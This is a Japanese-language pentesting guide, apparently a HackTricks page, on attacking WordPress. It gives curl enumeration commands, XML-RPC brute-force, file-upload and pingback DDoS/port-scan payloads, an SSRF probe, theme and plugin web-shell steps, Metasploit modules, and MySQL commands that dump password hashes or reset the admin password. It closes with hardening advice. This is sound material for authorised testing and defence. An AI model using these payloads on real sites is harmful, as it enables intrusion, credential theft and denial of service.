398 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Wordpress
{{#include ../../banners/hacktricks-training.md}}
## 基本情報
- **アップロードされた**ファイルは次の場所にあります: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **テーマファイルは /wp-content/themes/ にあります。** したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば、**テーマ twentytwelve**を使用すると、次の場所にある**404.php**ファイルに**アクセス**できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **別の便利なURLは次のとおりです:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **wp-config.php**にはデータベースのルートパスワードが含まれています。
- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **主なWordPressファイル**
- `index.php`
- `license.txt`には、インストールされたWordPressのバージョンなどの有用な情報が含まれています。
- `wp-activate.php`は、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。
- ログインフォルダ(隠すために名前が変更されることがあります):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php`は、HTTPを輸送メカニズム、XMLをエンコーディングメカニズムとして使用してデータを送信するWordPressの機能を表すファイルです。このタイプの通信は、WordPressの[REST API](https://developer.wordpress.org/rest-api/reference)に置き換えられました。
- `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。
- `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。
- `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。
- `wp-sitemap.xml`は、WordPressバージョン5.5以降、WordPressがすべての公開投稿と公開可能な投稿タイプおよびタクソミーを含むサイトマップXMLファイルを生成します。
**ポストエクスプロイト**
- `wp-config.php`ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この設定ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。
### ユーザー権限
- **管理者**
- **エディター**: 自分と他の投稿を公開および管理
- **著者**: 自分の投稿を公開および管理
- **寄稿者**: 自分の投稿を書くことができ、管理することができますが、公開することはできません
- **購読者**: 投稿をブラウズし、自分のプロフィールを編集
## **パッシブ列挙**
### **WordPressバージョンの取得**
`/license.txt`または`/readme.html`ファイルを見つけられるか確認します。
ページの**ソースコード**内([https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)からの例):
- grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
- `meta name`
![](<../../images/image (1111).png>)
- CSSリンクファイル
![](<../../images/image (533).png>)
- JavaScriptファイル
### プラグインを取得する
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### テーマを取得する
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### 一般的なバージョンの抽出
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## アクティブ列挙
### プラグインとテーマ
すべてのプラグインとテーマを見つけることはおそらくできません。すべてを発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。
### ユーザー
- **IDブルート:** ユーザーIDをブルートフォースすることで、WordPressサイトから有効なユーザーを取得します:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
レスポンスが **200** または **30X** の場合、それは id が **有効** であることを意味します。レスポンスが **400** の場合、id は **無効** です。
- **wp-json:** ユーザーに関する情報を取得するために、次のようにクエリを試すこともできます:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
このエンドポイントは、投稿を行ったユーザーのみを公開します。**この機能が有効なユーザーに関する情報のみが提供されます**。
また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。
- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**で**異なります**。
### XML-RPC
`xml-rpc.php` がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。このプロセスを自動化することができます[ using this](https://github.com/relarizky/wpxploit) など)。
アクティブかどうかを確認するには、_**/xmlrpc.php**_ にアクセスして、このリクエストを送信してください:
**チェック**
```html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**クレデンシャルブルートフォース**
**`wp.getUserBlogs`**、**`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
メッセージ _"Incorrect username or password"_ は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
正しい資格情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
また、**`system.multicall`**を使用して、同じリクエストで複数の資格情報を試すことができる**より高速な方法**があります:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FAのバイパス**
この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。
**DDoSまたはポートスキャン**
リスト内にメソッド_**pingback.ping**_が見つかれば、Wordpressに任意のホスト/ポートにリクエストを送信させることができます。\
これを使用して、**数千**のWordpress **サイト**に**1つの**場所に**アクセス**させることができ(その場所で**DDoS**が発生します)、または**Wordpress**に内部**ネットワーク**を**スキャン**させることができます(任意のポートを指定できます)。
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
**faultCode**の値が**0**より**大きい**17の場合、ポートが開いていることを意味します。
このメソッドを悪用してDDoSを引き起こす方法を学ぶには、前のセクションでの**`system.multicall`**の使用を確認してください。
**DDoS**
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../images/image (110).png>)
### wp-cron.php DoS
このファイルは通常、Wordpressサイトのルートに存在します: **`/wp-cron.php`**\
このファイルが**アクセス**されると、**"重い"** MySQL **クエリ**が実行されるため、**攻撃者**によって**DoS**を**引き起こす**ために使用される可能性があります。\
また、デフォルトでは、`wp-cron.php`はすべてのページロード時に呼び出されますクライアントが任意のWordpressページをリクエストするたびに、高トラフィックのサイトでは問題を引き起こす可能性がありますDoS
Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することをお勧めします問題を引き起こさないように
### /wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpressサイトがあなたにリクエストを送信するかもしれません。
動作しないときのレスポンスは次のとおりです:
![](<../../images/image (365).png>)
## SSRF
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
このツールは、**methodName: pingback.ping**と**/wp-json/oembed/1.0/proxy**のパスが存在するかどうかをチェックし、存在する場合はそれを悪用しようとします。
## Automatic Tools
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## ビットを上書きしてアクセスを得る
これは実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **パネル RCE**
**使用しているテーマの php を変更する(管理者の資格情報が必要)**
外観 → テーマエディタ → 404 テンプレート(右側)
php シェルの内容に変更します:
![](<../../images/image (384).png>)
インターネットでその更新されたページにアクセスする方法を検索します。この場合、ここにアクセスする必要があります: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
使用できます:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
to get a session.
## プラグイン RCE
### PHP プラグイン
プラグインとして .php ファイルをアップロードすることが可能かもしれません。\
例えば、次のようにして php バックドアを作成します:
![](<../../images/image (183).png>)
次に、新しいプラグインを追加します:
![](<../../images/image (722).png>)
プラグインをアップロードし、今すぐインストールを押します:
![](<../../images/image (249).png>)
続行をクリックします:
![](<../../images/image (70).png>)
おそらく、これでは何も起こらないように見えますが、メディアに移動すると、アップロードしたシェルが表示されます:
![](<../../images/image (462).png>)
アクセスすると、リバースシェルを実行するための URL が表示されます:
![](<../../images/image (1006).png>)
### 悪意のあるプラグインのアップロードと有効化
この方法は、脆弱性が知られている悪意のあるプラグインのインストールを含み、ウェブシェルを取得するために悪用できます。このプロセスは、WordPress ダッシュボードを通じて次のように実行されます:
1. **プラグインの取得**: プラグインは、[**ここ**](https://www.exploit-db.com/exploits/36374)のような Exploit DB などのソースから取得されます。
2. **プラグインのインストール**:
- WordPress ダッシュボードに移動し、`ダッシュボード > プラグイン > プラグインのアップロード`に進みます。
- ダウンロードしたプラグインの zip ファイルをアップロードします。
3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。
4. **悪用**:
- "reflex-gallery" プラグインがインストールされ、有効化されていると、脆弱性が知られているため悪用できます。
- Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。
- これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。
この内容には、プラグインのインストールと有効化のための WordPress ダッシュボードでの手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法で非倫理的であることに注意が必要です。この情報は、責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。
**詳細な手順については、次を確認してください:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## XSS から RCE へ
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、**Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。これは **Wordpress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:**
- _**権限昇格:**_ WordPress にユーザーを作成します。
- _**(RCE) カスタムプラグイン (バックドア) アップロード:**_ カスタムプラグイン (バックドア) を WordPress にアップロードします。
- _**(RCE) ビルトインプラグイン編集:**_ WordPress のビルトインプラグインを編集します。
- _**(RCE) ビルトインテーマ編集:**_ WordPress のビルトインテーマを編集します。
- _**(カスタム) カスタムエクスプロイト:**_ サードパーティの WordPress プラグイン/テーマ用のカスタムエクスプロイト。
## ポストエクスプロイト
ユーザー名とパスワードを抽出します:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
管理者パスワードを変更する:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
### Attack Surface
Wordpressプラグインが機能をどのように公開するかを知ることは、その機能の脆弱性を見つけるための鍵です。プラグインが機能をどのように公開するかは、以下の箇条書きと、[**このブログ記事**](https://nowotarski.info/wordpress-nonce-authorization/)にある脆弱なプラグインのいくつかの例で確認できます。
- **`wp_ajax`**
プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて、認証と認可の両方を行うことがよくあります役割に関係なく
これらは、プラグイン内で関数を公開するために使用できる関数です:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)にアクセス可能になります。**
> [!CAUTION]
> さらに、関数が`wp_verify_nonce`関数を使用してユーザーの認証を確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認しているだけで、通常はユーザーの役割を確認していません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。
- **REST API**
`register_rest_route`関数を使用して、WordPressから関数を公開することも可能です。
```php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
```
`permission_callback` は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。
**組み込みの `__return_true` 関数が使用される場合、ユーザー権限のチェックは単にスキップされます。**
- **PHPファイルへの直接アクセス**
もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能です。
## WordPressの保護
### 定期的な更新
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることを確認してください。
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
また、**信頼できるWordPressプラグインとテーマのみをインストールしてください**。
### セキュリティプラグイン
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **その他の推奨事項**
- デフォルトの**admin**ユーザーを削除する
- **強力なパスワード**と**2FA**を使用する
- 定期的にユーザーの**権限**を**レビュー**する
- ブルートフォース攻撃を防ぐために**ログイン試行回数**を制限する
- **`wp-admin.php`**ファイルの名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
{{#include ../../banners/hacktricks-training.md}}